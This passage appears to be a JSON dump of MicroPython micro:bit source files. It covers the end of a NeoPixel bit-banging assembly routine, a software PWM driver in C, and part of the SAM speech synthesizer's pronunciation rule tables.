r6, #3\n    mul r6, r2, r6\n    mov r5, r6\n\n    /*load the pin set and clr addresses by a cunning combo of shifts and adds*/\n    movs r3, #160\n    movs r1, #0x0c\n    lsl r3, r3, #15\n    add r3, #05\n    lsl r3, r3, #8\n    add r2, r3, r1\n    add r3, #0x08\n\n    mov r1, r0 /* finally move the pin mask from r0 to r1*/\n\n    /*\n    This code serialises the data bits for each LED.\n    The data byte is loaded in the common section (label .common) and then each bit is masked and tested for '0' (label .nextbit)\n    If it is a '0' we turn off the pin asap and then move to the code that advances to the next bit/byte. If a '1' we leave the pin on and do the same thing.\n    If the mask (r6) is still valid then we are still moving out the current byte, so repeat.\n    If it is '0' then we have done this byte and need to load the next byte from the pointer in r4.\n    r5 contains the count of bytes - calculated above from num LEDs * 3 bytes per LED.\n    --If this code needs to do RGB+W LEDS then that will need to be addressed.\n    Once we run r5 down to '0' we exit the data shifting and return.\n    */\n\n    mrs r6, PRIMASK /* disable interrupts whilst we mess with timing critical waggling. */\n    push {r6}\n    cpsid i\n\n    b .start\n\n    .nextbit:\n        str r1, [r3, #0]\n        tst r6, r0\n        bne .bitisone\n        str r1, [r2, #0]\n    .bitisone:\n        lsr r6, #1\n        bne .justbit\n\n        add r4, #1\n        sub r5, #1\n        beq .stop\n\n    .start:\n        movs r6, #0x80\n        nop\n\n    .common:\n        str r1, [r2, #0]\n        ldrb r0, [r4, #0]\n        b .nextbit\n\n    .justbit:\n        b .common\n\n    .stop:\n        str r1, [r2, #0]\n\n    pop {r6}\n    msr PRIMASK, r6\n    pop {r0, r1, r2, r3, r4, r5, r6}\n    bx lr\n"
  },
  {
    "path": "micropython/source/lib/pwm.c",
    "content": "/*\n * This file is part of the MicroPython project, http://micropython.org/\n *\n * The MIT License (MIT)\n *\n * Copyright (c) 2016 Mark Shannon\n * Copyright (c) 2017 Damien P. George\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */\n\n#include \"stddef.h\"\n#include \"lib/ticker.h\"\n#include \"nrf_gpio.h\"\n#include \"py/runtime.h\"\n#include \"py/gc.h\"\n\n#define PWM_TICKER_INDEX 2\n\n// The maximum number of pins that can have PWM at once, plus 1 for OFF_EVENT\n#define PWM_MAX_PINS (20)\n\n// Default period of 20ms\n#define DEFAULT_PERIOD ((20*1000)/MICROSECONDS_PER_TICK)\n\ntypedef struct _pwm_event {\n    uint16_t time : 11;\n    uint16_t pin : 5;\n} pwm_event;\n\ntypedef struct _pwm_events {\n    uint8_t count;\n    uint16_t period;\n    uint32_t all_pins;\n    pwm_event events[PWM_MAX_PINS];\n} pwm_events;\n\nstatic const pwm_events OFF_EVENTS = {\n    .count = 1,\n    .period = DEFAULT_PERIOD,\n    .all_pins = 0,\n    .events = {\n        {\n            .time = 1024,\n            .pin = 31,\n        }\n    }\n};\n\n// Data in RAM to hold the PWM events, double buffered\nstatic pwm_events pwm_events_buf0;\nstatic pwm_events pwm_events_buf1;\n\n// Pointers to active and pending event buffers\nstatic const pwm_events *active_events;\nstatic const pwm_events *pending_events;\n\n// Index inte the events array of the active_events buffer\nstatic uint8_t next_event;\n\nvoid pwm_init(void) {\n    active_events = &OFF_EVENTS;\n    pending_events = NULL;\n    next_event = 0;\n}\n\nstatic inline int32_t pwm_get_period_ticks(void) {\n    const pwm_events *tmp = pending_events;\n    if (tmp == NULL)\n        tmp = active_events;\n    return tmp->period;\n}\n\n#if 0\nvoid pwm_dump_events(const pwm_events *events) {\n    printf(\"Count %d, period %d, all pins %d\\r\\n\", events->count, events->period, events->all_pins);\n    for (uint32_t i = 0; i < events->count; i++) {\n        const pwm_event *event = &events->events[i];\n        printf(\"Event. pin: %d, duty cycle: %d\\r\\n\", event->pin, event->time);\n    }\n}\n\nvoid pwm_dump_state(void) {\n    while(pending_events);\n    pwm_dump_events(active_events);\n}\n#endif\n\nstatic pwm_events *get_pending_for_update(void) {\n    // Atomically take the pending events\n    __disable_irq();\n    const pwm_events *orig = pending_events;\n    pending_events = NULL;\n    __enable_irq();\n\n    // If the pending events were not NULL then they can be now used for update\n    if (orig != NULL) {\n        return (pwm_events*)orig; // Will be one of buf0 or buf1, in RAM\n    }\n\n    // Pending events were NULL so make a copy of active ones and return them\n    orig = active_events;\n    pwm_events *events;\n    if (orig == &pwm_events_buf0) {\n        events = &pwm_events_buf1;\n    } else {\n        events = &pwm_events_buf0;\n    }\n    events->count = orig->count;\n    events->period = orig->period;\n    events->all_pins = orig->all_pins;\n    for (uint32_t i = 0; i < orig->count; i++) {\n        events->events[i] = orig->events[i];\n    }\n    return events;\n}\n\nstatic int find_pin_in_events(const pwm_events *events, uint32_t pin) {\n    for (int i = 0; i < events->count; i++) {\n        if (events->events[i].pin == pin)\n            return i;\n    }\n    return -1;\n}\n\nstatic void sort_events(pwm_events *events) {\n    // Insertion sort\n    for (int32_t i = 1; i < events->count; i++) {\n        pwm_event x = events->events[i];\n        int32_t j;\n        for (j = i - 1; j >= 0 && events->events[j].time > x.time; j--) {\n            events->events[j+1] = events->events[j];\n        }\n        events->events[j+1] = x;\n    }\n}\n\nint32_t pwm_callback(void) {\n    int32_t tdiff;\n    const pwm_events *events = active_events;\n    const pwm_event *event = &events->events[next_event];\n    int32_t tnow = (event->time*events->period)>>10;\n    do {\n        if (event->pin < 31) {\n            // Event is to turn on a specific pin\n            nrf_gpio_pin_set(event->pin);\n            next_event++;\n        } else {\n            // Event is to turn off all pins and start period again\n            nrf_gpio_pins_clear(events->all_pins);\n            next_event = 0;\n            tnow = 0;\n            if (pending_events) {\n                events = pending_events;\n                active_events = events;\n                pending_events = NULL;\n            }\n        }\n        event = &events->events[next_event];\n        tdiff = ((event->time*events->period)>>10) - tnow;\n    } while (tdiff == 0);\n    return tdiff;\n}\n\nvoid pwm_start(void) {\n    set_ticker_callback(PWM_TICKER_INDEX, pwm_callback, 120);\n}\n\nvoid pwm_stop(void) {\n    clear_ticker_callback(PWM_TICKER_INDEX);\n}\n\nstatic void pwm_set_period_ticks(int32_t ticks) {\n    pwm_events *events = get_pending_for_update();\n    events->period = ticks;\n    pending_events = events;\n}\n\nint pwm_set_period_us(int32_t us) {\n    if ((us < 256) ||\n        (us > 1000000)) {\n        return -1;\n    }\n    pwm_set_period_ticks(us/MICROSECONDS_PER_TICK);\n    return 0;\n}\n\nint32_t pwm_get_period_us(void) {\n    return pwm_get_period_ticks()*MICROSECONDS_PER_TICK;\n}\n\nvoid pwm_set_duty_cycle(int32_t pin, uint32_t value) {\n    if (value >= (1<<10)) {\n        value = (1<<10)-1;\n    }\n    uint32_t turn_on_time = 1024-value;\n    pwm_events *events = get_pending_for_update();\n\n    // If pin is not already in PWM list then set its GPIO as output\n    if (((1 << pin) & events->all_pins) == 0) {\n         nrf_gpio_cfg_output(pin);\n    }\n\n    int ev = find_pin_in_events(events, pin);\n    if (ev < 0 && value == 0) {\n        // Pin not in PWM mode and set to 0 duty, so nothing to do\n        pending_events = events;\n        return;\n    } else if (ev < 0) {\n        // Pin not in PWM mode, so add it to the list\n        if (events->count >= PWM_MAX_PINS) {\n            // No more room left for another PWM, so must ignore this pin!\n            pending_events = events;\n            return;\n        }\n        events->all_pins |= 1 << pin;\n        events->events[events->count].time = turn_on_time;\n        events->events[events->count].pin = pin;\n        events->count += 1;\n    } else if (value == 0) {\n        // Pin in PWM mode and set to 0 duty, so remove it from the list\n        events->count -= 1;\n        events->all_pins &= ~(1 << pin);\n        if (ev < events->count) {\n            events->events[ev] = events->events[events->count];\n        }\n    } else {\n        // Pin in PWM mode, change duty cycle\n        events->events[ev].time = turn_on_time;\n    }\n    sort_events(events);\n    pending_events = events;\n}\n\nvoid pwm_release(int32_t pin) {\n    pwm_set_duty_cycle(pin, 0);\n    const pwm_events *ev = active_events;\n    int i = find_pin_in_events(ev, pin);\n    if (i < 0)\n        return;\n    // If i >= 0 it means that `ev` is in RAM, so it safe to discard the const qualifier\n    ((pwm_events *)ev)->events[i].pin = 31;\n    nrf_gpio_pin_clear(pin);\n}\n"
  },
  {
    "path": "micropython/source/lib/sam/ReciterTabs.h",
    "content": "#ifndef RECITERTABS_H\n#define RECITERTABS_H\n\n//some flags\nconst unsigned char tab36376[] =\n{\n\t0, 0, 0, 0, 0, 0, 0, 0, // 0-7\n\t0, 0, 0, 0, 0, 0, 0, 0, // 8-15\n\t0, 0, 0, 0, 0, 0, 0, 0, \n\t0, 0, 0, 0, 0, 0, 0, 0, \n\t0, 2, 2, 2, 2, 2, 2, 130, // ' ', '!'\n\t0, 0, 2, 2, 2, 2, 2, 2,\n\t3, 3, 3, 3, 3, 3, 3, 3,\n\t3, 3, 2, 2, 2, 2, 2, 2,\n\t2, 192, 168, 176, 172, 192, 160, 184, // '@', 'A'\n\t160, 192, 188, 160, 172, 168, 172, 192, \n\t160, 160, 172, 180, 164, 192, 168, 168,\n\t176, 192, 188, 0, 0, 0, 2, 0, // 'X', 'Y', 'Z', '[', \n\t32, 32, 155, 32, 192, 185, 32, 205,\n\t163, 76, 138, 142\n};\n\nconst char rules[] =\n{\n']','A'|0x80,\n' ','(','A','.',')',                    '=','E','H','4','Y','.',' '|0x80,\n'(','A',')',' ',                        '=','A','H'|0x80,\n' ','(','A','R','E',')',' ',            '=','A','A','R'|0x80,\n' ','(','A','R',')','O',                '=','A','X','R'|0x80,\n'(','A','R',')','#',                    '=','E','H','4','R'|0x80,\n' ','^','(','A','S',')','#',            '=','E','Y','4','S'|0x80,\n'(','A',')','W','A',                    '=','A','X'|0x80,\n'(','A','W',')',                        '=','A','O','5'|0x80,\n' ',':','(','A','N','Y',')',            '=','E','H','4','N','I','Y'|0x80,\n'(','A',')','^','+','#',                '=','E','Y','5'|0x80,\n'#',':','(','A','L','L','Y',')',        '=','U','L','I','Y'|0x80,\n' ','(','A','L',')','#',                '=','U','L'|0x80,\n'(','A','G','A','I','N',')',            '=','A','X','G','E','H','4','N'|0x80,\n'#',':','(','A','G',')','E',            '=','I','H','J'|0x80,\n'(','A',')','^','%',                    '=','E','Y'|0x80,\n'(','A',')','^','+',':','#',            '=','A','E'|0x80,\n' ',':','(','A',')','^','+',' ',        '=','E','Y','4'|0x80,\n' ','(','A','R','R',')',                '=','A','X','R'|0x80,\n'(','A','R','R',')',                    '=','A','E','4','R'|0x80,\n' ','^','(','A','R',')',' ',            '=','A','A','5','R'|0x80,\n'(','A','R',')',                        '=','A','A','5','R'|0x80,\n'(','A','I','R',')',                    '=','E','H','4','R'|0x80,\n'(','A','I',')',                        '=','E','Y','4'|0x80,\n'(','A','Y',')',                        '=','E','Y','5'|0x80,\n'(','A','U',')',                        '=','A','O','4'|0x80,\n'#',':','(','A','L',')',' ',            '=','U','L'|0x80,\n'#',':','(','A','L','S',')',' ',        '=','U','L','Z'|0x80,\n'(','A','L','K',')',                    '=','A','O','4','K'|0x80,\n'(','A','L',')','^',                    '=','A','O','L'|0x80,\n' ',':','(','A','B','L','E',')',        '=','E','Y','4','B','U','L'|0x80,\n'(','A','B','L','E',')',                '=','A','X','B','U','L'|0x80,\n'(','A',')','V','O',                    '=','E','Y','4'|0x80,\n'(','A','N','G',')','+',                '=','E','Y','4','N','J'|0x80,\n'(','A','T','A','R','I',')',            '=','A','H','T','A','A','4','R','I','Y'|0x80,\n'(','A',')','T','O','M',                '=','A','E'|0x80,\n'(','A',')','T','T','I',                '=','A','E'|0x80,\n' ','(','A','T',')',' ',                '=','A','E','T'|0x80,\n' ','(','A',')','T',                    '=','A','H'|0x80,\n'(','A',')',                            '=','A','E'|0x80,\n\n']','B'|0x80,\n' ','(','B',')',' ',                    '=','B','I','Y','4'|0x80,\n' ','(','B','E',')','^','#',            '=','B','I','H'|0x80,\n'(','B','E','I','N','G',')',            '=','B','I','Y','4','I','H','N','X'|0x80,\n' ','(','B','O','T','H',')',' ',        '=','B','O','W','4','T','H'|0x80,\n' ','(','B','U','S',')','#',            '=','B','I','H','4','Z'|0x80,\n'(','B','R','E','A','K',')',            '=','B','R','E','Y','5','K'|0x80,\n'(','B','U','I','L',')',                '=','B','I','H','4','L'|0x80,\n'(','B',')',                            '=','B'|0x80,\n\n']','C'|0x80,\n' ','(','C',')',' ',                    '=','S','I','Y','4'|0x80,\n' ','(','C','H',')','^',                '=','K'|0x80,\n'^','E','(','C','H',')',                '=','K'|0x80,\n'(','C','H','A',')','R','#',            '=','K','E','H','5'|0x80,\n'(','C','H',')',                        '=','C','H'|0x80,\n' ','S','(','C','I',')','#',            '=','S','A','Y','4'|0x80,\n'(','C','I',')','A',                    '=','S','H'|0x80,\n'(','C','I',')','O',                    '=','S','H'|0x80,\n'(','C','I',')','E','N',                '=','S','H'|0x80,\n'(','C','I','T','Y',')',                '=','S','I','H','T','I','Y'|0x80,\n'(','C',')','+',                        '=','S'|0x80,\n'(','C','K',')',                        '=','K'|0x80,\n'(','C','O','M','M','O','D','O','R','E',')','=','K','A','A','4','M','A','H','D','O','H','R'|0x80,\n'(','C','O','M',')',                    '=','K','A','H','M'|0x80,\n'(','C','U','I','T',')',                '=','K','I','H','T'|0x80,\n'(','C','R','E','A',')',                '=','K','R','I','Y','E','Y'|0x80,\n'(','C',')',                            '=','K'|0x80,\n\n']','D'|0x80,\n' ','(','D',')',' ',                    '=','D','I','Y','4'|0x80,\n' ','(','D','R','.',')',' ',            '=','D','A','A','4','K','T','E','R'|0x80,\n'#',':','(','D','E','D',')',' ',        '=','D','I','H','D'|0x80,\n'.','E','(','D',')',' ',                '=','D'|0x80,\n'#',':','^','E','(','D',')',' ',        '=','T'|0x80,\n' ','(','D','E',')','^','#',            '=','D','I','H'|0x80,\n' ','(','D','O',')',' ',                '=','D','U','W'|0x80,\n' ','(','D','O','E','S',')',            '=','D','A','H','Z'|0x80,\n'(','D','O','N','E',')',' ',            '=','D','A','H','5','N'|0x80,\n'(','D','O','I','N','G',')',            '=','D','U','W','4','I','H','N','X'|0x80,\n' ','(','D','O','W',')',                '=','D','A','W'|0x80,\n'#','(','D','U',')','A',                '=','J','U','W'|0x80,\n'#','(','D','U',')','^','#',            '=','J','A','X'|0x80,\n'(','D',')',                            '=','D'|0x80,\n\n']','E'|0x80,\n' ','(','E',')',' ',                    '=','I','Y','I','Y','4'|0x80,\n'#',':','(','E',')',' ','='|0x80,\n'\\'',':','^','(','E',')',' ','='|0x80,\n' ',':','(','E',')',' ',                '=','I','Y'|0x80,\n'#','(','E','D',')',' ',                '=','D'|0x80,\n'#',':','(','E',')','D',' ','='|0x80,\n'(','E','V',')','E','R',                '=','E','H','4','V'|0x80,\n'(','E',')','^','%',                    '=','I','Y','4'|0x80,\n'(','E','R','I',')','#',                '=','I','Y','4','R','I','Y'|0x80,\n'(','E','R','I',')',                    '=','E','H','4','R','I','H'|0x80,\n'#',':','(','E','R',')','#',            '=','E','R'|0x80,\n'(','E','R','R','O','R',')',            '=','E','H','4','R','O','H','R'|0x80,\n'(','E','R','A','S','E',')',            '=','I','H','R','E','Y','5','S'|0x80,\n'(','E','R',')','#',                    '=','E','H','R'|0x80,\n'(','E','R',')',                        '=','E','R'|0x80,\n' ','(','E','V','E','N',')',            '=','I','Y','V','E','H','N'|0x80,\n'#',':','(','E',')','W','='|0x80,\n'@','(','E','W',')',                    '=','U','W'|0x80,\n'(','E','W',')',                        '=','Y','U','W'|0x80,\n'(','E',')','O',                        '=','I','Y'|0x80,\n'#',':','&','(','E','S',')',' ',        '=','I','H','Z'|0x80,\n'#',':','(','E',')','S',' ','='|0x80,\n'#',':','(','E','L','Y',')',' ',        '=','L','I','Y'|0x80,\n'#',':','(','E','M','E','N','T',')',    '=','M','E','H','N','T'|0x80,\n'(','E','F','U','L',')',                '=','F','U','H','L'|0x80,\n'(','E','E',')',                        '=','I','Y','4'|0x80,\n'(','E','A','R','N',')',                '=','E','R','5','N'|0x80,\n' ','(','E','A','R',')','^',            '=','E','R','5'|0x80,\n'(','E','A','D',')',                    '=','E','H','D'|0x80,\n'#',':','(','E','A',')',' ',            '=','I','Y','A','X'|0x80,\n'(','E','A',')','S','U',                '=','E','H','5'|0x80,\n'(','E','A',')',                        '=','I','Y','5'|0x80,\n'(','E','I','G','H',')',                '=','E','Y','4'|0x80,\n'(','E','I',')',                        '=','I','Y','4'|0x80,\n' ','(','E','Y','E',')',                '=','A','Y','4'|0x80,\n'(','E','Y',')',                        '=','I','Y'|0x80,\n'(','E','U',')',                        '=','Y','U','W','5'|0x80,\n'(','E','Q','U','A','L',')',            '=','I','Y','4','K','W','U','L'|0x80,\n'(','E',')',                            '=','E','H'|0x80,\n\n']','F'|0x80,\n' ','(','F',')',' ',                    '=','E','H','4','F'|0x80,\n'(','F','U','L',')',                    '=','F','U','H','L'|0x80,\n'(','F','R','I','E','N','D',')',        '=','F','R','E','H','5','N','D'|0x80,\n'(','F','A','T','H','E','R',')',        '=','F','A','A','4','D','H','E','R'|0x80,\n'(','F',')','F','='|0x80,\n'(','F',')',                            '=','F'|0x80,\n\n']','G'|0x80,\n' ','(','G',')',' ',                    '=','J','I','Y','4'|0x80,\n'(','G','I','V',')',                    '=','G','I','H','5','V'|0x80,\n' ','(','G',')','I','^',                '=','G'|0x80,\n'(','G','E',')','T',                    '=','G','E','H','5'|0x80,\n'S','U','(','G','G','E','S',')',        '=','G','J','E','H','4','S'|0x80,\n'(','G','G',')',                        '=','G'|0x80,\n' ','B','#','(','G',')',                '=','G'|0x80,\n'(','G',')','+',                        '=','J'|0x80,\n'(','G','R','E','A','T',')',            '=','G','R','E','Y','4','T'|0x80,\n'(','G','O','N',')','E',                '=','G','A','O','5','N'|0x80,\n'#','(','G','H',')','='|0x80,\n' ','(','G','N',')',                    '=','N'|0x80,\n'(','G',')',                            '=','G'|0x80,\n\n']','H'|0x80,\n' ','(','H',')',' ',                    '=','E','Y','4','C','H'|0x80,\n' ','(','H','A','V',')',                '=','/','H','A','E','6','V'|0x80,\n' ','(','H','E','R','E',')',            '=','/','H','I','Y','R'|0x80,\n' ','(','H','O','U','R',')',            '=','A','W','5','E','R'|0x80,\n'(','H','O','W',')',                    '=','/','H','A','W'|0x80,\n'(','H',')','#',                        '=','/','H'|0x80,\n'(','H',')','='|0x80,\n\n']','I'|0x80,\n' ','(','I','N',')',                    '=','I','H','N'|0x80,\n' ','(','I',')',' ',                    '=','A','Y','4'|0x80,\n'(','I',')',' ',                        '=','A','Y'|0x80,\n'(','I','N',')','D',                    '=','A','Y','5','N'|0x80,\n'S','E','M','(','I',')',                '=','I','Y'|0x80,\n' ','A','N','T','(','I',')',            '=','A','Y'|0x80,\n'(','I','E','R',')',                    '=','I','Y','E','R'|0x80,\n'#',':','R','(','I','E','D',')',' ',    '=','I','Y','D'|0x80,\n'(','I','E','D',')',' ',                '=','A','Y','5','D'|0x80,\n'(','I','E','N',')',                    '=','I','Y','E','H','N'|0x80,\n'(','I','E',')','T',                    '=','A','Y','4','E','H'|0x80,\n'(','I','\\'',')',                        '=','A','Y','5'|0x80,\n' ',':','(','I',')','^','%',            '=','A','Y','5'|0x80,\n' ',':','(','I','E',')',' ',            '=','A','Y','4'|0x80,\n'(','I',')','%',                        '=','I','Y'|0x80,\n'(','I','E',')',                        '=','I','Y','4'|0x80,\n' ','(','I','D','E','A',')',            '=','A','Y','D','I','Y','5','A','H'|0x80,\n'(','I',')','^','+',':','#',            '=','I','H'|0x80,\n'(','I','R',')','#',                    '=','A','Y','R'|0x80,\n'(','I','Z',')','%',                    '=','A','Y','Z'|0x80,\n'(','I','S',')','%',                    '=','A','Y','Z'|0x80,\n'I','^','(','I',')','^','#',            '=','I','H'|0x80,\n'+','^','(','I',')','^','+',            '=','A','Y'|0x80,\n'#',':','^','(','I',')','^','+',        '=','I','H'|0x80,\n'(','I',')','^','+',                    '=','A','Y'|0x80,\n'(','I','R',')',                        '=','E','R'|0x80,\n'(','I','G','H',')',                    '=','A','Y','4'|0x80,\n'(','I','L','D',')',                    '=','A','Y','5','L','D'|0x80,\n' ','(','I','G','N',')',                '=','I','H','G','N'|0x80,\n'(','I','G','N',')',' ',                '=','A','Y','4','N'|0x80,\n'(','I','G','N',')','^',                '=','A','Y','4','N'|0x80,\n'(','I','G','N',')','%',                '=','A','Y','4','N'|0x80,\n'(','I','C','R','O',')',                '=','A','Y','4','K','R','O','H'|0x80,\n'(','I','Q','U','E',')',                '=','I','Y','4','K'|0x80,\n'(','I',')',                            '=','I','H'|0x80,\n\n']','J'|0x80,\n' ','(','J',')',' ',                    '=','J','E','Y','4'|0x80,\n'(','J',')',                            '=','J'|0x80,\n\n']','K'|0x80,\n' ','(','K',')',' ',                    '=','K','E','Y','4'|0x80,\n' ','(','K',')','N','='|0x80,\n'(','K',')',                            '=','K'|0x80,\n\n']','L'|0x80,\n' ','(','L',')',' ',                    '=','E','H','4','L'|0x80,\n'(','L','O',')','C','#',                '=','L','O','W'|0x80,\n'L','(','L',')','='|0x80,\n'#',':','^','(','L',')','%',            '=','U','L'|0x80,\n'(','L','E','A','D',')',                '=','L','I','Y','D'|0x80,\n' ','(','L','A','U','G','H',')',        '=','L','A','E','4','F'|0x80,\n'(','L',')',                            '=','L'|0x80,\n\n']','M'|0x80,\n' ','(','M',')',' ',                    '=','E','H','4','M'|0x80,\n' ','(','M','R','.',')',' ',            '=','M','I','H','4','S','T','E','R'|0x80,\n' ','(','M','S','.',')',                '=','M','I','H','5','Z'|0x80,\n' ','(','M','R','S','.',')',' ',        '=','M','I','H','4','S','I','X','Z'|0x80,\n'(','M','O','V',')',                    '=','M','U','W','4','V'|0x80,\n'(','M','A','C','H','I','N',')',        '=','M','A','H','S','H','I','Y','5','N'|0x80,\n'M','(','M',')','='|0x80,\n'(','M',')',                            '=','M'|0x80,\n\n']','N'|0x80,\n' ','(','N',')',' ',                    '=','E','H','4','N'|0x80,\n'E','(','N','G',')','+',                '=','N','J'|0x80,\n'(','N','G',')','R',                    '=','N','X','G'|0x80,\n'(','N','G',')','#',                    '=','N','X','G'|0x80,\n'(','N','G','L',')','%',                '=','N','X','G','U','L'|0x80,\n'(','N','G',')',                        '=','N','X'|0x80,\n'(','N','K',')',                        '=','N','X','K'|0x80,\n' ','(','N','O','W',')',' ',            '=','N','A','W','4'|0x80,\n'N','(','N',')','='|0x80,\n'(','N','O','N',')','E',                '=','N','A','H','4','N'|0x80,\n'(','N',')',                            '=','N'|0x80,\n\n']','O'|0x80,\n' ','(','O',')',' ',                    '=','O','H','4','W'|0x80,\n'(','O','F',')',' ',                    '=','A','H','V'|0x80,\n' ','(','O','H',')',' ',                '=','O','W','5'|0x80,\n'(','O','R','O','U','G','H',')',        '=','E','R','4','O','W'|0x80,\n'#',':','(','O','R',')',' ',            '=','E','R'|0x80,\n'#',':','(','O','R','S',')',' ',        '=','E','R','Z'|0x80,\n'(','O','R',')',                        '=','A','O','R'|0x80,\n' ','(','O','N','E',')',                '=','W','A','H','N'|0x80,\n'#','(','O','N','E',')',' ',            '=','W','A','H','N'|0x80,\n'(','O','W',')',                        '=','O','W'|0x80,\n' ','(','O','V','E','R',')',            '=','O','W','5','V','E','R'|0x80,\n'P','R','(','O',')','V',                '=','U','W','4'|0x80,\n'(','O','V',')',                        '=','A','H','4','V'|0x80,\n'(','O',')','^','%',                    '=','O','W','5'|0x80,\n'(','O',')','^','E','N',                '=','O','W'|0x80,\n'(','O',')','^','I','#',                '=','O','W','5'|0x80,\n'(','O','L',')','D',                    '=','O','W','4','L'|0x80,\n'(','O','U','G','H','T',')',            '=','A','O','5','T'|0x80,\n'(','O','U','G','H',')',                '=','A','H','5','F'|0x80,\n' ','(','O','U',')',                    '=','A','W'|0x80,\n'H','(','O','U',')','S','#',            '=','A','W','4'|0x80,\n'(','O','U','S',')',                    '=','A','X','S'|0x80,\n'(','O','U','R',')',                    '=','O','H','R'|0x80,\n'(','O','U','L','D',')',                '=','U','H','5','D'|0x80,\n'(','O','U',')','^','L',                '=','A','H','5'|0x80,\n'(','O','U','P',')',                    '=','U','W','5','P'|0x80,\n'(','O','U',')',                        '=','A','W'|0x80,\n'(','O','Y',')',                        '=','O','Y'|0x80,\n'(','O','I','N','G',')',                '=','O','W','4','I','H','N','X'|0x80,\n'(','O','I',')',                        '=','O','Y','5'|0x80,\n'(','O','O','R',')',                    '=','O','H','5','R'|0x80,\n'(','O','O','K',')',                    '=','U','H','5','K'|0x80,\n'F','(','O','O','D',')',                '=','U','W','5','D'|0x80,\n'L','(','O','O','D',')',                '=','A','H','5','D'|0x80,\n'M','(','O','O','D',')',                '=','U','W','5','D'|0x80,\n'(','O','O','D',')',                    '=','U','H','5','D'|0x80,\n'F','(','O','O','T',')',                '=','U','H','5','T'|0x80,\n'(','O','O',')',                        '=','U','W','5'|0x80,\n'(','O','\\'',')',                        '=','O','H'|0x80,\n'(','O',')','E',                        '=','O','W'|0x80,\n'(','O',')',' ',                        '=','O','W'|0x80,\n'(','O','A',')',                        '=','O','W','4'|0x80,\n' ','(','O','N','L','Y',')',            '=','O','W','4','N','L','I','Y'|0x80,\n' ','(','O','N','C','E',')',            '=','W','A','H','4','N','S'|0x80,\n'(','O','N','\\'','T',')',                '=','O','W','4','N','T'|0x80,\n'C','(','O',')','N',                    '=','A','A'|0x80,\n'(','O',')','N','G',                    '=','A','O'|0x80,\n' ',':','^','(','O',')','N',            '=','A','H'|0x80,\n'I','(','O','N',')',                    '=','U','N'|0x80,\n'#',':','(','O','N',')',                '=','U','N'|0x80,\n'#','^','(','O','N',')',                '=','U','N'|0x80,\n'(','O',')','S','T',                    '=','O','W'|0x80,\n'(','O','F',')','^',                    '=','A','O','4','F'|0x80,\n'(','O','T','H','E','R',')',            '=','A','H','5','D','H','E','R'|0x80,\n'R','(','O',')','B',                    '=','R','A','A'|0x80,\n'^','R','(','O',')',':','#',            '=','O','W','5'|0x80,\n'(','O','S','S',')',' ',                '=','A','O','5','S'|0x80,\n'#',':','^','(','O','M',')',            '=','A','H','M'|0x80,\n'(','O',')',                            '=','A','A'|0x80,\n\n']','P'|0x80,\n' ','(','P',')',' ',                    '=','P','I','Y','4'|0x80,\n'(','P','H',')',                        '=','F'|0x80,\n'(','P','E','O','P','L',')',            '=','P','I','Y','5','P','U','L'|0x80,\n'(','P','O','W',')',                    '=','P','A','W','4'|0x80,\n'(','P','U','T',')',' ',                '=','P','U','H','T'|0x80,\n'(','P',')','P','='|0x80,\n'(','P',')','S','='|0x80,\n'(','P',')','N','='|0x80,\n'(','P','R','O','F','.',')',            '=','P','R','O','H','F','E','H','4','S','E','R'|0x80,\n'(','P',')',                            '=','P'|0x80,\n\n']','Q'|0x80,\n' ','(','Q',')',' ',                    '=','K','Y','U','W','4'|0x80,\n'(','Q','U','A','R',')',                '=','K','W','O','H','5','R'|0x80,\n'(','Q','U',')',                        '=','K','W'|0x80,\n'(','Q',')',                            '=','K'|0x80,\n']','R'|0x80,\n' ','(','R',')',' ',                    '=','A','A','5','R'|0x80,\n' ','(','R','E',')','^','#',            '=','R','I','Y'|0x80,\n'(','R',')','R','='|0x80,\n'(','R',')',                            '=','R'|0x80,\n\n']','S'|0x80,\n' ','(','S',')',' ',                    '=','E','H','4','S'|0x80,\n'(','S','H',')',                        '=','S','H'|0x80,\n'#','(','S','I','O','N',')',            '=','Z','H','U','N'|0x80,\n'(','S','O','M','E',')',                '=','S','A','H','M'|0x80,\n'#','(','S','U','R',')','#',            '=','Z','H','E','R'|0x80,\n'(','S','U','R',')','#',                '=','S','H','E','R'|0x80,\n'#','(','S','U',')','#',                '=','Z','H','U','W'|0x80,\n'#','(','S','S','U',')','#',            '=','S','H','U','W'|0x80,\n'#','(','S','E','D',')',                '=','Z','D'|0x80,\n'#','(','S',')','#',                    '=','Z'|0x80,\n'(','S','A','I','D',')',                '=','S','E','H','D'|0x80,\n'^','(','S','I','O','N',')',            '=','S','H','U','N'|0x80,\n'(','S',')','S','='|0x80,\n'.','(','S',')',' ',                    '=','Z'|0x80,\n'#',':','.','E','(','S',')',' ',        '=','Z'|0x80,\n'#',':','^','#','(','S',')',' ',        '=','S'|0x80,\n'U','(','S',')',' ',                    '=','S'|0x80,\n' ',':','#','(','S',')',' ',            '=','Z'|0x80,\n'#','#','(','S',')',' ',                '=','Z'|0x80,\n' ','(','S','C','H',')',                '=','S','K'|0x80,\n'(','S',')','C','+','='|0x80,\n'#','(','S','M',')',                    '=','Z','U','M'|0x80,\n'#','(','S','N',')','\\'',                '=','Z','U','M'|0x80,\n'(','S','T','L','E',')',                '=','S','U','L'|0x80,\n'(','S',')',                            '=','S'|0x80,\n\n']','T'|0x80,\n' ','(','T',')',' ',                    '=','T','I','Y','4'|0x80,\n' ','(','T','H','E',')',' ','#',        '=','D','H','I','Y'|0x80,\n' ','(','T','H','E',')',' ',            '=','D','H','A','X'|0x80,\n'(','T','O',')',' ',                    '=','T','U','X'|0x80,\n' ','(','T','H','A','T',')',            